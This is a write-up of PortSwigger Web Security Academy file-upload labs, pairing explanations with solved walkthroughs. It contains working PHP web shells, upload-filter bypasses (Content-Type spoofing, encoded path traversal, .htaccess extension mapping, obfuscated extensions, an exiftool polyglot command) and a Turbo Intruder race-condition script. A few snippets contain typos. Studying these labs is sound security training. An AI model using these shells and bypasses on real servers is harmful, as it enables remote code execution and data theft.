---
# System prepended metadata

title: PortSwigger - File Upload
tags: [File upload]

---

[toc]
# What are file upload vulnerabilities?
:::info
:bulb: **File upload vulnerabilites** are when a web server allows users to upload files to its filesystem without sufficiently validating things like their name, type, contents, or size.
:::

# Exploiting unrestricted file uploads to deploy a web shell
:::danger
From a security perspective, the worst possible scenario is when a website allows you to **upload server-side scripts, such as PHP, Java, or Python files, and is also configured to execute them as code**. This makes it trivial to create your own web shell on the server.
:::

:::warning
**Web shell**
A web shell is a malicious script enables an attacker to execute arbitrary commands on a remote web server simply by sending HTTP requests to the right endpoint
:::

For example, the following PHP one-liner could be used to read arbitrary files from the server's filesystem:

```
<?php echo file_get_contens('/path/to/target/file'); ?>
```

Once uploaded, sending a request for this malicious file will return the target file's contents in the response.

A more versatile web shell may look something like this:
```
<?php echo system($_GET['command']); ?>
```
This script enables you to pass an arbitrary system command via a query parameter as follows:
```
GET /example/exploit.php?command=id HTTP/1.1
```

### APPRENTICE Lab: Remote code execution via web shell upload 

This lab want us to exfiltrate the contents of the file `/home/carlos/secret`

First thing I will log in with the credential is provided 

![](https://hackmd.io/_uploads/Bk6DRHag6.png)

Here we have a function to upload file :3, let check if we can upload a web shell through this funciton

First craft a php file like this 

![](https://hackmd.io/_uploads/HkExx8Txp.png)

```php=
<?php echo system($_GET['command']); ?>
```

Then upload it 

![](https://hackmd.io/_uploads/HkbveL6xp.png)

Upload successfully. Here is the request and response:

![](https://hackmd.io/_uploads/r1eTeIpx6.png)

Now let check if we can execute the file. To execute it we need to know where it is located. Cause we know that the function is use to upload avatar so the file we upload will be linked in the `img src` tag to load the avatar

![](https://hackmd.io/_uploads/BJo5z8TgT.png)

Then base on what we craft in `exploit.php` file, we need to send a GET request to this file with `command` parameter is the command we want system to execute

![](https://hackmd.io/_uploads/SJsGmUTxp.png)

Bingo, the command is executed and now we have a web shell to excute what ever command we want :sunglasses: 

Let's check where we are by using `pwd` command

![](https://hackmd.io/_uploads/BkE2QIpgT.png)

We can list the content in root folder by using `ls /`

![](https://hackmd.io/_uploads/HkrIE86lT.png)

We can invest anything =)))

![](https://hackmd.io/_uploads/rySq4I6x6.png)

![](https://hackmd.io/_uploads/HkcgrI6g6.png)

We can read content in a file by using `cat path/to/file_name`

![](https://hackmd.io/_uploads/B1P8SI6xp.png)

Submit the secret and we solved the lab 

![](https://hackmd.io/_uploads/Sk5tSLpg6.png)

:::success
**Solved** :+1: 
:::

# Exploiting flawed validation of file uploads

:::info
:bulb: You can sometimes still exploit flaws mechanisms to obtain a web shell for remote code execution
:::

## Flawed file type validation

When submitting HTML forms, the browser typically sends the provided data in a `POST` request with the context type `application/x-www-form-url-encoded` This is fine for sending simple text like your name or address. However, it isn't suitable for sending large amounts of binary data, such as an entire image file or a PDF document. In this case, the content type `multipart/form-data` is preferred.

Consider a form containing fields for uploading an image, providing a description of it, and entering your username. Submitting such a form might result in a request that looks something like this:

```
POST /images HTTP/1.1
Host: normal-website.com
Content-Length: 12345
Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="image"; filename="example.jpg"
Content-Type: image/jpeg

[...binary content of example.jpg...]

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="description"

This is an interesting description of my image.

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="username"

wiener
---------------------------012345678901234567890123456--
```

As you can see, the message body is split into separate parts for each of the form's inputs. Each part contains a `Content-Disposition` header, which provides some basic information about the input field it relates to. These individual parts may contain their own `Content-Type` header, which tells the server the MIME type of the data that was submmitted using this input

:::warning
One way that websites may attempt to validate file uploads is to check that this input-specific `Content-Type` header matches an expected MIME type. If the server is only epecting image files, for example, it may only allow types like `image/jpeg` and `image/png`. Problems can arise when the value of this header is implicity trusted by the server. If no further validation is performed to check whether the contents of the file actually match the supposed MIME type, this defense can be easily bypassed using tools like Burp Repeater
:::

### APPRENTICE Lab: Web shell upload via Content-Type restriction bypass

Like previous, we have fuction upload avatar so I try to upload `exploit.php` file to the server

![](https://hackmd.io/_uploads/H11CsI6lp.png)

The error tells that `Only image/jpeg and image/png are allowed`, if the server only check header `Content-Type` to validate it, then we can easily bypass it by changing this header

![](https://hackmd.io/_uploads/HJCDnUpx6.png)

Bingo, uploaded successfully. Then we can execute command to get the `secret`

![](https://hackmd.io/_uploads/Hy5l6LpgT.png)

Submit the secret and solved the lab :3 

![](https://hackmd.io/_uploads/BJ2EaLpga.png)

:::success
**Solved** :+1: 
:::

## Preventing file execution in user-accessible directotries

While it's clearly better to prevent dangerous file types being uploaded in the first place

:::warning
The second line of defense is to stop the server from executing any scripts
:::

As a precaution, servers generally only run scripts whose MIME type they have been explicitly configured to execute. Otherwise, they may just return some kind of error message or serve the contents of the file as plain text instead

This behavior is pontentially interesting in its own right, as it may provide a way to **leak source code**, but it nullifies any attempt to create a web shell.

:::info
:bulb: This kind of configuration often differs between directories. A directory to which user-supplied files are upploaded will likely have much stricter controls than other locations on the filesystem that assumed to be out of reach for end users. **If you can find a way to upload a script to a different directory that's not supposed to contain user-supplied files, the server may execute your script after all**
:::

:::info
**Tip:** Web servers often use the `filename` field in `mulipart/form-data` request to determine the name and location where the file should be saved.
:::

### PRACTITIONER Lab: Web shell upload via path traversal

Like previous lab, I try to upload web shell through upload avartar function, and also remember to craft the Content-Type header

![](https://hackmd.io/_uploads/ry5azs6ga.png)

Upload successfully. Let check if we can execute it

![](https://hackmd.io/_uploads/SkV-7i6lT.png)

Hmmm, it just return the contents of the file as plain text. So that means the file can't execute in this directory `/files/avatars/`. What if this function also vulnerable to Path Traversal vulnerability, if so we can easily upload the file in another place where it can be executed 

I change the `filename` field to `../exploit.php`

![](https://hackmd.io/_uploads/HkpuLsag6.png)

But seem like, `../` has been filtered, the file still be uploaded to `avatars/`. Let's try encode it `%2e%2e%2fexploit.php`

![](https://hackmd.io/_uploads/S1nJDoaep.png)

Yay it works, hopefully we can execute the file in directory `/files/exploit.php`

![](https://hackmd.io/_uploads/BJI8PoTlp.png)

Now we know this function is vulnerable to Path Traversal and File Upload too :smiling_face_with_smiling_eyes_and_hand_covering_mouth: 

![](https://hackmd.io/_uploads/HytVOjaga.png)

Submit the secret and solved the lab :3 

![](https://hackmd.io/_uploads/SJxP_i6e6.png)

:::success
**Solved** :+1: 
:::

## Insufficient blacklisting of dangerous file types

One of the more obvious ways of preventing users from uploading malicious scripts is to blacklist potentially dangerous file extensions like `.php`. The practice of blacklisting is inherently flawed as it's difficult to explicitly block every possible file extension that could be used to execute code. 

:::warning
Such blacklists can sometimes be bypassed by using lesser known, alternative file extensions that ay still be executable, such as `.php5`, `.shtml`, and so on
:::

## Overriding the server configuration

As we discussed in the previous section, servers typically won't execute files unless they have been configured to do so. For example, before an Apache server will execute PHP files requested by a client, developers might have to add the following directives to their `/etc/apache2/apache2.conf` file:
```
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php
```

Many servers also allow developers to create special configuration files within individual directories in order to override or add to one or more of the global settings. Apache servers, for example, will load a directory-specific configuration from a file called `.htaccess` if one is present.

Similarly, developers can make directory-specific configuration on IIS servers using a `web.config` file. This might include directives such as the following, which in this case allows JSON files to be served to users:

```
<staticContent>
    <mimeMap fileExtension=".json" mimeType="application/json" />
</staticContent>
```

Web servers use these kinds of configuration files when present, but you're not normally allowed to access them using HTTP requests. However, you may occasionally find servers that fail to stop you from uploading your own malicious configuration file. In this case, even if the file extension you need is blacklisted, you may be able to trick the server into mapping an arbitrary, custom file extension to an executable MIME type.

### PRACTITIONER Lab: Web shell upload via extension blacklist bypass

This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed due to a fundamental flaw in the configuration of this blacklist

:::info
:bulb: .htaccess files provide a way to make configuration changes on a per-directory basis
:::

So I will try to upload a `.htaccess` file in folder avatars with this content:

```
AddType application/x-httpd-php .abcxyz
```

This maps an arbitrary extension (`.abcxyz`) to the executable MIME type `application/x-httpd-php`. As the server uses the `mod_php` module, it knows how to handle this already

![image](https://hackmd.io/_uploads/BJGZiBeUa.png)

But why `.abcxyz` ?? Because this file extensions are not blacklisted. Then we can upload `exploit.abcxyz` with this content:

```
<?php system($GET_['command']); ?>
```

![image](https://hackmd.io/_uploads/r1HWnrlIT.png)

Then we can send the command we want this file to execute 

![image](https://hackmd.io/_uploads/rklFhrxU6.png)

Submit the secret and solve the lab

![image](https://hackmd.io/_uploads/ryM03HlLa.png)

:::success
**Solved** :+1: 
:::

## Obfuscating file extensions

Even the most exhaustive blacklists can potentially be bypassed using classic obfuscation techniques. Let's say the validation code is case sensitive and fials to recognize that `exploit.pHp` is in fact a `.php` file. 

You can also achieve similar results using the following techniques:
- Provide multiple extensions. Depending on the algorithm used to parse the filename, the following file may be interpreted as either a PHP file or JPG image: `exploit.php.jpg`
- Add trailing characters. Some components will strip or ignore trailing whitespaces, dots, and suchlike: `exploit.php.`
- Try using the URL encoding (or double URL encoding) for dots, forward slashes, and backward slashes. If the value isn't decoded when validating the file extension, but is later decoded server-side, this can also allow you to upload malicious files that would otherwise be blocked: `exploit%2Ephp`
- Add semicolons or URL-encoded null byte characters before the file extension. If validattion is written in a high-level language like PHP or Java, but the server processes the file using lower-level functions in C/C++, for example, this can cause discrepancies in what is treated as the end of the filename: `exploit.asp;.jpg` or `exploit.asp%00.jpg`
- Try using multible unicode characters, which may be converted to null bytes and dots after unicode conversion or normalization. Sequences like `xC0 x2E`, `xC4 xAE` or `xC0 xAE` may be translated to `x2E` if the filename parsed as a UTF-8 string, but then converted to ASCII characters before being used in a path

Other defenses involve stripping or replacing dangerous extensions to prevent the file from being executed. If this transformation isn't applied recursively, you can position the prohibited string in such a way that removing it still leaves behind a valid file extension. For example, consider what happens if you strip `.php` from the following filename:
```
exploit.p.phphp
```

### PRACTITIONER Lab: Web shell upload via obfuscated file extension

This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed using a classic obfuscation technique.

![image](https://hackmd.io/_uploads/HyycUIeUp.png)

Upload successfully. Now we can send the command we want to execute

![image](https://hackmd.io/_uploads/Bk41vLg8a.png)

Submit the secret and solve the lab

![image](https://hackmd.io/_uploads/B1lEPLlLa.png)

:::success
**Solved** :+1:
:::

## Flawed validation of the file's contents

Instead of implicitly trusting th `Content-Type` specified in a request more secure servers try to verify that the contents of the file actually match what is expected.

In the case of an image upload function, the server might try to verify certain intrinsic properties of an image, such as its dimensions. If you try uploading a PHP script, for example, it won't have any dimensions at all. Therefore, the server can deduce that it can't possibly be an image, and reject the upload accordingly.

Similarly, certain file types may always contain a specific sequences of bytes in their header or footer. These can be used like a fingerprint or signature to determine whether the contents match the expected type. For example, JPEG files always begin with the bytes `FF D8 FF`

This is a much more robust way of validating the file type, but even this isn't foolproof. Using special tools, such as ExifTool, it can be trivial to create a polyglot JPEG file containing malicious code within its metadata

### PRACTITIONER Lab: Remote code execution via polyglot web shell upload

This lab contains a vulnerable image upload function. Although it checks the contents of the file to verify that it is a genuine image, it can be trivial to create a polyglot JPEG file containing malicious code within its metadata using ExifTool

https://thecyberjedi.com/php-shell-in-a-jpeg-aka-froghopper/

:::info
Exiftool is an open source program that can be used for manipulating image, audio, and video files.
:::

![Screenshot 2023-12-15 at 13.44.24](https://hackmd.io/_uploads/SkTVvdKLp.png)

These are the default fields and their corresponding values for a picture of a rabbit I grabbed off the internet. But we can tweak it, and add a php shell, with the following syntax:

```
exiftool -DocumentName="<h1>Hacked<br><?php system(\$_GET['cmd']);?></h1>"
```
![image](https://hackmd.io/_uploads/BJOkc_tIa.png)

Then I add `.php` extension to the file name like this `Rabbit3.jpg.php`

![image](https://hackmd.io/_uploads/SkRPJFtI6.png)

Access the file and send command we want to execute

![image](https://hackmd.io/_uploads/S1RDettIa.png)

Submit solution and solve the lab

![image](https://hackmd.io/_uploads/ryPsgYtIT.png)

:::success
**Solved** :+1: 
:::

## Exploiting file upload race conditions

Modern frameworks are more battke-hardenec against these kinds of attacks. They generally don't upload files directly to their intended destination on the filesystem. Instead, they take precautions like uploading to a temporary, sandboxed directory first and randomizing the name to avoid overwriting existing files. They then perform validation on this temporary file and only transfer it to its destination once it is deemed safe to do so.

That said, developers sometimes implement their own processing of file uploads independently of any framework. Not only is this fairly complex to do well, it can also introduce dangerous race conditions that enable an attacker to completely bypass even the most robust validation.

For example, some websites upload the file directly to the main filesystem and then remove it again if it doesn't pass validation. This kind of behavior is typical in websites that rely on anti-virus software and the like to check for malware. This may only take a few millionseconds, but for the short time that the file exists on the server, the attacker can potentially still execute it.

These vulnerabilities are often extremely subtle, making them difficult to detect during blackbox testing unless you can find a way to leak the revelant source code

### EXPERT Lab: Web shell upload via race condition

This lab contains a vulnerable image upload function. Although it performs robust validation on any files that are uploaded, it is possible to bypass this validation entirely by exploiting a race condition in the way it processes them

Here I can bypass type validation by using `%00`

![image](https://hackmd.io/_uploads/r1CIFtt8T.png)

But seem like it was removed after that.

![image](https://hackmd.io/_uploads/B1CQiKt86.png)

So I check the vulnerable code to understand the application's flow

```=
<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];

// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);

if (checkViruses($target_file) && checkFileType($target_file)) {
    echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
    unlink($target_file);
    echo "Sorry, there was an error uploading your file.";
    http_response_code(403);
}

function checkViruses($fileName) {
    // checking for viruses
    ...
}

function checkFileType($fileName) {
    $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
    if($imageFileType != "jpg" && $imageFileType != "png") {
        echo "Sorry, only JPG & PNG files are allowed\n";
        return false;
    } else {
        return true;
    }
}
?>
```

:::spoiler What is the difference between ['tmp_name'] vs ['name']

**$_FILES['file']['tmp_name']**

Provides the name of the file stored on the web server's hard disk in the system temporary file directory. This file is only kept as long as the PHP script responsible for handling the form submission is running. So, if you want to use the uploaded file later on (for example, store it for display on the site), you need to make a copy of it elsewhere

**$_FILES['file']['name']**

Provides the name of the file on the client machine before it was submitted. If you make a permanent copy of the temporary file, you might want to give it its original name instead of the automatically-generated temporary filename that's described above

```php=
$_FILES['file']['name'] // stores the original filename from the client
$_FILES['file']['tmp_name'] // stores the name of the temporary file
```
:::

:::spoiler What is move_uploaded_file()
```php=
move_uploaded_file(string $from, string $to): bool
```

This function checks to ensure that the file designate by **from** is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by **to**
:::

:::spoiler What is unlink()

```php=
unlink(string $filename, ?resource $context = null): bool
```
Deletes **filename**
:::

![image](https://hackmd.io/_uploads/HkrXnnAI6.png)

Imagine right after uploading the file we can access it right before it is deleted by unlink()

We can try that by using **Turbo Intruder**

In **Proxy**, right click on the `POST /my-account/avatar` request that was used to submit the file upload and select `Extensions > Turbo Intruder > Send to turbo intruder`. The Turbo Intruder window opens

Copy and past the following script template into Turbo Intruder's Python editor:

```py=
def queueRequests(target, wordlist):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
    
    request1 = '''<YOUR-POST-REQUEST'''
    
    request2 = '''<YOUR-GET-REQUEST'''
    
    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')
    
    # wait until every 'race1' tagged is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')
    
    engine.complete(timeout=60)
    
def handleResponse(req, interesting):
    table.add(req)
```

Or you can use `examples/race-multi-enpoint.py` in Turbo Intruder

![image](https://hackmd.io/_uploads/S1WFHTC8p.png)


In the script, replace `<YOUR-POST-REQUEST>` with the entire `POST /my-account/avatar` request containing your `exploit.php` file. You can copy and paste this from the top of the Turbo Intruder window

Replace `<YOUR-GET-REQUEST>` with a `GET` request for fetching your uploaded PHP file. The simplest way to do this is to copy the `GET /files/avatars/<YOUR-IMAGE>` request from you proxy history, then change the filename in the path to `exploit.php`

Here is my script:

```python=
def queueRequests(target, wordlists):

    # if the target supports HTTP/2, specify engine=Engine.BURP2 to trigger the single-packet attack
    # if they only support HTTP/1, use Engine.THREADED or Engine.BURP instead
    # for more information, check out https://portswigger.net/research/smashing-the-state-machine
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2
                           )

    req1 = r'''POST /my-account/avatar HTTP/2
Host: 0a70006604af6b61804e1d92001a0024.web-security-academy.net
Cookie: session=Fb7I97L5O6vsVkGo6XOlNckMon0sOSfk
Content-Length: 19591
Cache-Control: max-age=0
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://0a70006604af6b61804e1d92001a0024.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFkCb43Tzaalo1eLZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a70006604af6b61804e1d92001a0024.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

------WebKitFormBoundaryFkCb43Tzaalo1eLZ
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: image/jpeg

<?php system('whoami'); ?>
------WebKitFormBoundaryFkCb43Tzaalo1eLZ
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundaryFkCb43Tzaalo1eLZ
Content-Disposition: form-data; name="csrf"

0Q2fpRZyg3FpciQGrjrAjv7Nm7TOyD28
------WebKitFormBoundaryFkCb43Tzaalo1eLZ--

'''

    req2 = r'''GET /files/avatars/exploit.php HTTP/2
Host: 0a70006604af6b61804e1d92001a0024.web-security-academy.net
Cookie: session=Fb7I97L5O6vsVkGo6XOlNckMon0sOSfk
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a70006604af6b61804e1d92001a0024.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=2, i



'''

    engine.queue(req1, gate='race1')
    for i in range(5):
        engine.queue(req2, gate='race1')

    engine.openGate('race1')


def handleResponse(req, interesting):
    table.add(req)

```

I upload a php file contain:

```php=
<?php system('whoami') ?>
```

And try to access it before it is deleted

![image](https://hackmd.io/_uploads/rJkXOaCU6.png)

And the reponse return a name -> successfully race condition

Change the command in the `exploit.php` file, to read the secret file in the server

![image](https://hackmd.io/_uploads/BJ8x9p0Ia.png)

Submit answer and solve the lab

![image](https://hackmd.io/_uploads/H17N9pCI6.png)

:::success
**Solved** :+1: 
:::
